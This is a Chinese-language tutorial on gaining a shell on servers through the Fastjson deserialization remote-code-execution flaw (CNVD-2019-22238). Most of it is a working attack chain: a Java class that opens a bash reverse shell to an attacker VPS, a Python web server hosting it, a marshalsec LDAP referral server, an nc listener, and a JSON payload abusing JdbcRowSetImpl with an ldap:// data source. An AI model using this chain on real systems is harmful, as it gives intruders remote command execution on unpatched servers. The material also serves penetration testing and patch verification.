Fastjson反序列化漏洞獲取目標系統權限

Fastjson簡介

Fastjson是alibaba開源的一款高性能功能完善的JSON庫,可以將 Java 對象轉換為 JSON 格式,當然也可以將 JSON 字符串轉換為 Java 對象。它採用一種“假定有序快速匹配”的算法,把JSON Parse的性能提升到極致,是目前Java語言中最快的JSON庫。Fastjson接口簡單易用,已經被廣泛使用在緩存序列化、協議交互、Web輸出、Android客戶端等多種應用場景。

反序列化遠程命令執行(CNVD_2019_22238)

在Fastjson <= 1.2.47 時存在遠程命令執行漏洞,影響FastJson 1.2.48及以下所有版本,有說法在autotype開啟的情況下可影響到1.2.57版本。

示例:參數內容被fastjson調用解析

Fastjson反序列化漏洞獲取目標系統權限

漏洞測試過程

測試環境:jdk 1.8

  1. 利用javac編譯反彈shell的Java代碼 Exploit.java(需要更改代碼中的VPS_IP為自己的vps地址)
<code>public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPS_IP/8888 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}/<code>
  1. VPS開web服務,存放第一步編譯好的Exploit.class,使其能夠從web訪問到

可以直接藉助python開httpserver:python -m SimpleHTTPServer(默認8000端口)

Fastjson反序列化漏洞獲取目標系統權限

  1. VPS上利用marshlsec開啟ldap監聽,執行完成會默認在1389端口開啟監聽
<code>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshaec.jndi.LDAPRefServer http://VPS_IP:8000/#Exploit/<code>
Fastjson反序列化漏洞獲取目標系統權限

  1. 開啟nc監聽反彈shell,端口為第1步Java代碼中反彈shell的端口
<code>nc –lvp 8888/<code>
Fastjson反序列化漏洞獲取目標系統權限

  1. burpsuite中提交exp請求,訪問的是上述1389端口
<code>{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://VPS_IP:1389/Exploit","autoCommit":true}}}/<code>
Fastjson反序列化漏洞獲取目標系統權限

請求提交成功,nc中便可以收到反彈的shell

Fastjson反序列化漏洞獲取目標系統權限


分享到:


相關文章: